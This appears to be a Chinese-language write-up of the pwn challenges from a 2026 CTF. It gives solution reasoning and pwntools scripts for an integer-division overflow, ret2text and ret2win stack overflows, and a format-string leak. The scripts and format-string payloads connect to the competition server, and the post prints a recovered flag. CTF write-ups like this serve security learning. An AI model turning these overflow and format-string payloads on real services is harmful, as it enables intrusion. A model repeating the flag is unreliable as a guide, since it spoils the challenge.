Lexington Informatics Tournament CTF 2026

前言：一个入门级的国外比赛，有一种很久违的感觉。都是一些简单题，直接用 wsl 写了，懒得开虚拟机了

---

pwn/long division

题目描述：

I made a calculator for dividing two 32-bit integers! I made sure that division by 0 doesn’t happen and that the inputs fit in 32-bit integers. Since division only makes numbers smaller, surely it can’t overflow … right? connect via nc 136.115.87.65 31777

解题思路：

逻辑很简单，只要我们执行到 win 函数即可，仅仅是对 v5,v4 和 v6 有要求而已

(__int64)0xFFFFFFFF7FFFFFFFLL 是一个 64 位有符号整数十六进制补码， -2147483649 是其十进制

0x80000000LL 对应的是 2147483648，因此-2147483649<v5&&v4<2147483648

但是还有要求：v5 / v4 <= (__int64)0xFFFFFFFF7FFFFFFFLL || v6 >= 0x80000000LL

直接令 v5 = -2147483648，v4 = -1这道题目就解出来了。

EXP：

pwn/spiderman

题目描述：

insert spiderman meme here
connect via nc 136.115.87.65 31778

解题思路：

32 位很明显的栈溢出。打 ret2text 跳转 win 直接出：

EXP

pwn/key

题目描述：

because bread tastes better than key
connect via nc 136.115.87.65 31776

解题思路：

看一眼地址：开启了 PIE

可以先想办法拿到 win 的地址，然后去进行跳转，由于不满足栈对齐，因此 ret 填充即可：
截取 win_addr:

from pwn import*
p = process('./main')
# p.recvuntil(b'key ')
s = p.recv(4)
addr = int(p.recv().strip(),16)
log.success(s)
log.success(hex(addr))
# print(type(addr))

找到 ret 直接跳就可以了：

EXP：

from pwn import*
#p = process('./main')
# p.recvuntil(b'key ')
p = remote('136.115.87.65',31776)
s = p.recv(4)
addr = int(p.recv().strip(),16)
log.success(s)
log.success(hex(addr))
# print(type(addr))

base_addr = addr - 0x1189
ret = base_addr + 0x101a

payload = b'a'*40 + p64(ret) + p64(addr)
p.sendline(payload)
p.interactive()

pwn/secrets

解题思路：

很明显的格式化字符串漏洞了，思考一下如何去泄露 flag

看一下栈上的内容，发现 fd 实际上是在 buf 后的

并且细节发现 67616c66 实际按照小端排序看就是flag -> 66 6c 61 67

由于%x 一次只打印四个字节，因此我们可以换用%lx，像这个样子，如果不嫌麻烦实际上直接连远程直接出 flag

像这样：

aaaa%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx

有点遗憾，直接打远程这样子拿不到完整的 flag，最多拼一半：LITCTF{PRINTF-vU

还有一技：

aaaa%14$lx %15$lx %16$lx %17$lx %18$lx

vals = "507b46544354494c 55762d46544e4952 4c31623472334e4c 7674665a2d597469 7d75706f594e49".split()
print(b"".join(int(x, 16).to_bytes(8, "little") for x in vals))

写个脚本直接逆：LITCTF{PRINTF-vULN3r4b1LitY-ZFtvINYopu}

pwn/greeter

信息并不多，直接拼在一起了：

from pwn import*
p = remote('136.115.87.65',31780)
p.recvuntil(b'whats your name? ')
p.sendline(b'aaaa')
p.recvuntil(b'hows your day? ')
payload = b'a'*72 + p64(0x40101A) + p64(0x40123A)
p.sendline(payload)
p.interactive()